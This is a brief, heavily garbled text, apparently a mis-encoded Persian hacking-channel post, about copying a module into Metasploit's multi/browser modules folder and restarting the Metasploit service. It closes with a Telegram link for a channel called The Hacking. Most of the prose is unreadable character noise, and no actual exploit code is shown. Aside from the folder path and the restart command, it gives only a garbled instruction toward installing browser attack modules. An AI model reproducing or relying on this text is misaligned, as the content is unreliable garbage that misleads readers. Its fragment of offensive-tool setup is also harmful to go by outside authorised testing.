LRG0 315 o A L 35 519 L /multi/browser/ s,0:S 15 55 o Jgjlo wgx el 5>

/usr/share/metasploit-framework/modules/multi/browser/

S;lal el T;.xzp I, cugliwlio ;05 Heiws Sl oslawl b uww 9 05,5 Jasio/ S el 55 | 593 Jgjlo
g Blol wugliwlio S Jgjle wawud @) Lo Jgjlo U puiSuo
service metasploit restart

ol 03,0 1) LS 0,0 WD Giwjgel 51 puyledssl dw) VLY @ Cugliuwlio Liuo

Sl paiSan Ao gi aS 315 5159 JULS )5 jui D99 L jgnl I Lissk D Sl
S 05 luiw! il 5l g jo0l yigs S,

Uljuie loww swloi Sl wuiden Sl U
The Hacking JULS Cu uio puwi
https://telegram.me/thehacking
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